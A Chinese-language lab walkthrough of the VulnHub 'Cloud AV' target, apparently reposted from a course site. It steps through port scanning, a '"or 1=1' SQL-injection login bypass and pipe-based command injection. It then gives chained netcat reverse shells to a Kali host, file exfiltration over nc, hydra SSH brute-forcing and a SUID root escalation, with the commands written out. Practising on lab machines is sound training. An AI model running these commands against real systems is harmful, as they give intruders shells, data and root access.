靶機介紹:
1)靶機地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
2)難度級別:低
3)涉及攻擊手段:埠掃描、WEB偵查、SQL注入、命令注入、密碼爆破、代碼審計、NC串聯、本地提權
4)課程來源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
打靶程序:
1)啟動靶機,選擇網路模式為僅主機模式,由此可確定靶機地址段為192.168.56.0/24

2)利用工具進行掃碼僅主機網段192.168.56.0/24的存貨主機,此處使用工具arping,不使用arp-scan,因為arp-scan更傾向于黑客工具,但是arping大部門主機都默認安裝了,,適用性更強,但是arping無法對一段的網路進行一次性的主機發現,所以只能通過撰寫shell腳本的回圈進行主機發現
# for i in $(seq 1 254);do sudo arping -c 2 192.168.56.$i;done
當掃描到192.168.56.109時,該主機進行了回包,說明該IP地址即為靶機地址

3)對主機192.168.56.109進行全埠掃描:發現該主機開放了22埠和8080埠
# nmap -p- 192.168.56.109

4)對開發的埠進行服務版本的掃描:發現22埠使用的openssh服務版本為哦openssh7.6p1,8080埠使用的是httpd服務,而且服務端使用了werkzeug這個python開發的web框架,服務端使用了python2.7版本
nmap -p22,8080 -sV 192.168.56.109

5)瀏覽器訪問該主機的8080埠:發現該頁面是一個云防病毒掃描的服務,首先需要輸入邀請碼(密碼)才能正常登入進行系統后臺,才能進行云服務查殺,即通過密碼進行身份認證的程序,此時的攻擊思路
①嘗試利用程式在服務端代碼上的邏輯漏洞,通過sql注入等方式繞過身份認證
②使用暴力破解等方式破解
瀏覽器:http://192.168.56.109:8080/

6)破解密碼
①瀏覽器設定代理

②burp設定代理監聽

③在網站輸入框中任意輸入字符,進行提交,抓取資料包


④將資料包發送至Intruder模式,對輸入的字串添加為變數,設定成資料的注入點,在payload中嘗試輸入鍵盤上所有的字符:因為無論在任何的語言和編程環境中,鍵盤上輸入的符號,在不同的語言環境,往往都有特使的功能,當向一個資料的注入點注入了所有符號,如果這個位置上存在某種注入漏洞,一般就會出發服務器端代碼上的問題,造成語法和語意上的歧義,從而使得服務器無法正常處理這寫請求,最后通過觸發這些漏洞,就有發現服務器端可能存在的注入漏洞,

⑤開始爆破后,發現當輸入雙引號時,回傳的狀態碼和長度發生了變化

⑥通過查看報錯發現,該頁面回傳了目標服務器檔案系統的路徑,同時在最后一行發現了一個sql陳述句:if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:
可以發現之前輸入的雙引號被拼接到了該陳述句中,使得sql陳述句語法報錯

'select * from code where password="' + " + '&quit;' #HTML轉義
'select * from code where password=";' + " + '";' #去掉單引號
#服務端第一個雙引號和第二個雙引號進行了閉合,導致最后一個雙引號沒有閉合,使得服務端代碼出現了語法錯誤
select * from code where password="; + " + ";
select * from code where password="; + 123 + "; #正常陳述句
#構建payload,嘗試在不知道邀請碼情況下,進入系統
select * from code where password="; + " or 1=1 --+ + "; --+表示注釋
7)SQL注入,輸入陳述句后,正常登陸至系統
瀏覽器輸入框: "or 1=1 --+


8)根據上述顯示,猜測,當輸入一個服務器中的檔案名至輸入框,點擊掃描后,會將此請求提交至服務器,服務器會呼叫某種殺毒軟體(如avscan)對該檔案進行掃描,如avscan hello,也就意味著執行了類似的命令

9)如果服務端是按照上述方式執行的殺毒操作,在shell命令中,可以通過管道符等方式執行其他命令
瀏覽器輸入框: cat | id


10)反彈shell,此處不使用python的反彈shell,使用nc進行反彈
①先判斷目標主機有無nc命令
cat |wchic nc


②連接kali主機192.168.56.103的4444埠,并通過-e引數指定連接成功之后開啟一個shell終端,發現kali雖然連接成功,但并沒有接收到反彈的shell
瀏覽器輸入:
cat | nc 192.168.56.103 3333
kali:
# nc -lvvp 3333


因為有些服務器發行版本的nc命令版本,并沒有-e引數,此時使用nc的串聯
③先使用一個nc去連接kali中的一個監聽埠3333,再使用管道將前面的結果輸入給后面的/bin/bash進行決議,決議完成后再通過管道發送給kali中的另一個監聽埠4444,此時發現,當在會話1輸入的命令,執行結果將會在會話2顯示出來
瀏覽器輸入框:
cat | nc 192.168.56.103 3333|/bin/bash|nc 192.168.56.103 4444
kali-會話1:
# nc -lvvp 3333
kali-會話2:
# nc -lvvp 4444
瀏覽器輸入框輸入內容:

kali-會話1:

kali-會話2:

11)通過上述發現,當前目標服務器存在一個database.sql的檔案,通過對查看發現是一個SQLite 3.x 資料庫檔案,通過在目標主機執行sqlite命令發現,并沒有什么回顯,說明目標主機沒有sqlite的執行環境
#file database.sql

12)將目標主機上的database.sql檔案下載到kali本機
①在kali主機監聽5555埠,將接受到的任何資料,重定向到db.sql
# nc -lvvp 5555 > db.sql
②在目標主機通過nc去連接kali主機的5555埠,并利用將database.sql傳輸過去
#nc 192.168.56.103 5555 < db.sql
# ls -l db.sql

13)此時即可在kali通過sqlite去執行該sql檔案
# sqlite3
sqlite> .open db.sql #通過open命令打開sql檔案,沒有報錯表示打開成功
sqlite> .database #打開當前加載的資料庫檔案
sqlite> .dump #把加載上來的資料庫檔案中的資料顯示出來

14)通過查看sql檔案發現,該資料庫中檔案只有一個表,且只有一個password欄位,向該欄位中匯入了4個密碼,此時可以嘗試通過用戶名和密碼通過ssh進行登錄
①先查看目標系統中,可以登錄的用戶有哪些
#cat /etc/passwd|grep /bin/bash

②將三個用戶生成一個用戶名字典

③將之前的密碼生成一個字典

④通過hydra進行ssh密碼暴力破解
# hydra -L user.txt -P password.txt ssh://192.168.56.109

通過ssh暴力破解,未破解出正確的用戶名和密碼
15)此時需要再次進行目標服務器資訊搜集,在搜集程序中發現了update_cloudav、update_cloudav.c檔案,根據后綴可知update_cloudav.c是原始碼檔案,update_cloudav是可執行檔案,并且還具有SUID權限,且用戶屬主是root
#cd ..
#pwd
#ls -l

16)通過查看update_cloudav.c原始碼檔案,發現執行該檔案,需要輸入一個引數

17)通過SUID的特性,只要執行該檔案,就會默認繼承該檔案屬主的權限,即root權限
#./update_cloudav "a|nc 192.168.56.103 7777 | /bin/bash | nc 192.168.56.103 8888"
18)同時在kali主機分別監聽7777、8888埠,此時在會話3輸入命令,則會回顯在會話4
會話3:
# nc -lvvp 7777
會話4:
# nc -lvvp 8888


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538468.html
標籤:其他
上一篇:Pytorch:使用Tensorboard記錄訓練狀態
下一篇:克拉瑪依初賽-wp
